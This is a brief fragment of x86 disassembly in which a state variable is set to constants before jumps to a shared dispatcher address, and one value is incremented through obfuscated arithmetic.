mov eax, dword [ebp - 0x4b384]
mov dword [ebp - 0x4b3f0], 0xb19eeec6
jmp 0x413eee
mov eax, dword [ebp - 0x4b384]
mov dword [ebp - 0x4b3f0], 0x8c97f66
jmp 0x413eee
mov eax, dword [ebp - 0x4b38c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x4b38c]
mov dword [eax], ecx
mov dword [ebp - 0x4b3f0], 0x3e12eda6
jmp 0x413eee
jmp 0x40f1dc